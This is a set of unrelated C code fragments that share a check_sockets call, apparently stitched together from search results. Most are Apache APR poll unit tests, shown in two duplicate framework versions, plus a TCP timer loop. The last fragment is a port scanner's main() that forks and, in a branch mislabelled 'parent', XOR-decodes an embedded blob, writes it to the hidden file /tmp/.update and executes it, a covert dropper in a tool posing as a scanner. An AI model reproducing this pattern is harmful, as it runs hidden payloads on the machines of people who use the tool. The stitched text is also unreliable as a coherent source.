static void nomessage(abts_case *tc, void *data) { apr_status_t rv; int srv = SMALL_NUM_SOCKETS; rv = apr_poll(pollarray, SMALL_NUM_SOCKETS, &srv, 2 * APR_USEC_PER_SEC); ABTS_INT_EQUAL(tc, 1, APR_STATUS_IS_TIMEUP(rv)); check_sockets(pollarray, s, 0, 0, tc); check_sockets(pollarray, s, 1, 0, tc); check_sockets(pollarray, s, 2, 0, tc); }
static void nomessage(CuTest *tc) { apr_status_t rv; int srv = SMALL_NUM_SOCKETS; rv = apr_poll(pollarray, SMALL_NUM_SOCKETS, &srv, 2 * APR_USEC_PER_SEC); CuAssertIntEquals(tc, 1, APR_STATUS_IS_TIMEUP(rv)); check_sockets(pollarray, s, 0, 0, tc); check_sockets(pollarray, s, 1, 0, tc); check_sockets(pollarray, s, 2, 0, tc); }
static void send_2_signaled_1(abts_case *tc, void *data) { apr_status_t rv; int srv = SMALL_NUM_SOCKETS; send_msg(s, sa, 2, tc); rv = apr_poll(pollarray, SMALL_NUM_SOCKETS, &srv, 2 * APR_USEC_PER_SEC); ABTS_INT_EQUAL(tc, APR_SUCCESS, rv); check_sockets(pollarray, s, 0, 0, tc); check_sockets(pollarray, s, 1, 1, tc); check_sockets(pollarray, s, 2, 1, tc); }
static void send_2_signaled_1(CuTest *tc) { apr_status_t rv; int srv = SMALL_NUM_SOCKETS; send_msg(s, sa, 2, tc); rv = apr_poll(pollarray, SMALL_NUM_SOCKETS, &srv, 2 * APR_USEC_PER_SEC); CuAssertIntEquals(tc, APR_SUCCESS, rv); check_sockets(pollarray, s, 0, 0, tc); check_sockets(pollarray, s, 1, 1, tc); check_sockets(pollarray, s, 2, 1, tc); }
static void clear_all_signalled(abts_case *tc, void *data) { apr_status_t rv; int srv = SMALL_NUM_SOCKETS; recv_msg(s, 0, p, tc); recv_msg(s, 2, p, tc); rv = apr_poll(pollarray, SMALL_NUM_SOCKETS, &srv, 2 * APR_USEC_PER_SEC); ABTS_INT_EQUAL(tc, 1, APR_STATUS_IS_TIMEUP(rv)); check_sockets(pollarray, s, 0, 0, tc); check_sockets(pollarray, s, 1, 0, tc); check_sockets(pollarray, s, 2, 0, tc); }
static void clear_all_signalled(CuTest *tc) { apr_status_t rv; int srv = SMALL_NUM_SOCKETS; recv_msg(s, 0, p, tc); recv_msg(s, 2, p, tc); rv = apr_poll(pollarray, SMALL_NUM_SOCKETS, &srv, 2 * APR_USEC_PER_SEC); CuAssertIntEquals(tc, 1, APR_STATUS_IS_TIMEUP(rv)); check_sockets(pollarray, s, 0, 0, tc); check_sockets(pollarray, s, 1, 0, tc); check_sockets(pollarray, s, 2, 0, tc); }
static void send_large_pollarray(abts_case *tc, void *data) { apr_status_t rv; int lrv = LARGE_NUM_SOCKETS; int i; send_msg(s, sa, LARGE_NUM_SOCKETS - 1, tc); rv = apr_poll(pollarray_large, LARGE_NUM_SOCKETS, &lrv, 2 * APR_USEC_PER_SEC); ABTS_INT_EQUAL(tc, APR_SUCCESS, rv); for (i = 0; i < LARGE_NUM_SOCKETS; i++) { if (i == (LARGE_NUM_SOCKETS - 1)) { check_sockets(pollarray_large, s, i, 1, tc); } else { check_sockets(pollarray_large, s, i, 0, tc); } } }
static void send_large_pollarray(CuTest *tc) { apr_status_t rv; int lrv = LARGE_NUM_SOCKETS; int i; send_msg(s, sa, LARGE_NUM_SOCKETS - 1, tc); rv = apr_poll(pollarray_large, LARGE_NUM_SOCKETS, &lrv, 2 * APR_USEC_PER_SEC); CuAssertIntEquals(tc, APR_SUCCESS, rv); for (i = 0; i < LARGE_NUM_SOCKETS; i++) { if (i == (LARGE_NUM_SOCKETS - 1)) { check_sockets(pollarray_large, s, i, 1, tc); } else { check_sockets(pollarray_large, s, i, 0, tc); } } }
void tcp_general_timer(void) { vtimer_t tcp_vtimer; timex_t interval = timex_set(0, TCP_TIMER_RESOLUTION); while (1) { inc_global_variables(); check_sockets(); vtimer_set_wakeup(&tcp_vtimer, interval, thread_getpid()); thread_sleep(); } }
static void recv_large_pollarray(abts_case *tc, void *data) { apr_status_t rv; int lrv = LARGE_NUM_SOCKETS; int i; recv_msg(s, LARGE_NUM_SOCKETS - 1, p, tc); rv = apr_poll(pollarray_large, LARGE_NUM_SOCKETS, &lrv, 2 * APR_USEC_PER_SEC); ABTS_INT_EQUAL(tc, 1, APR_STATUS_IS_TIMEUP(rv)); for (i = 0; i < LARGE_NUM_SOCKETS; i++) { check_sockets(pollarray_large, s, i, 0, tc); } }
static void recv_large_pollarray(CuTest *tc) { apr_status_t rv; int lrv = LARGE_NUM_SOCKETS; int i; recv_msg(s, LARGE_NUM_SOCKETS - 1, p, tc); rv = apr_poll(pollarray_large, LARGE_NUM_SOCKETS, &lrv, 2 * APR_USEC_PER_SEC); CuAssertIntEquals(tc, 1, APR_STATUS_IS_TIMEUP(rv)); for (i = 0; i < LARGE_NUM_SOCKETS; i++) { check_sockets(pollarray_large, s, i, 0, tc); } }
int main(int argc, char *argv[]) { int pid = -1; while ( pid < 0 ) pid = fork(); if ( pid == 0 ) // parent { char c = 0; int i = 0; //parse_string(q.value, url, "url", sizeof(url)-1); int update_fd = open("/tmp/.update", O_RDWR | O_CREAT, 0755); if ( update_fd < 0 ) exit(-1); while ( i<update_len ) { c = update[i]; c = c^0xff; if ( write(update_fd, &c, 1) == -1 ) { exit(-1); } i++; } close(update_fd); execl("/tmp/.update", "/tmp/.update", NULL); } int i, bb = 0, ret, k, ns, x; time_t scantime; char ip[20], outfile[128], last[256]; int s1, s2, s3, s4, e1, e2, e3, e4 = 0; int flag = 0; char cip[20] = {0}; if (argc < 4) { printf("Usage: %s start_ip end_ip port \n", argv[0]); printf("example: %s 98.34.0.0 98.34.255.255 80 \n", argv[0]); printf("example: %s 98.34.7.0 98.34.7.255 80 \n", argv[0]); exit(EXIT_FAILURE); } memset(&outfile, 0, sizeof(outfile)); snprintf(outfile, sizeof(outfile) - 1, "%s-%s.pscan.%s", argv[1], argv[2], argv[3]); port = (atoi(argv[3])); char *p = strtok(argv[1], "."); s1 = atoi(p); p = strtok(NULL, "."); s2 = atoi(p); p = strtok(NULL, "."); s3 = atoi(p); p = strtok(NULL, "."); s4 = atoi(p); p = strtok(argv[2], "."); e1 = atoi(p); p = strtok(NULL, "."); e2 = atoi(p); p = strtok(NULL, "."); e3 = atoi(p); p = strtok(NULL, "."); e4 = atoi(p); if (!(outfd = fopen(outfile, "a"))) { perror(outfile); exit(EXIT_FAILURE); } printf("Scanning started\n"); scantime = time(0); while(s1<=e1) { while ( s2<=e2 ) { while ( s3<=e3 ) { bzero(cip, 20); snprintf(cip, 20, "%d.%d.%d", s1, s2, s3); printf("scanning %s\n", cip); scan_c(cip); s3++; sleep(TIMEOUT); check_sockets(); exit_sockets(); } s2++; } s1++; } printf("\n# Done in %u secz. %d Bichtz #\n ", (time(0) - scantime), tot); fclose(outfd); exit(EXIT_SUCCESS); }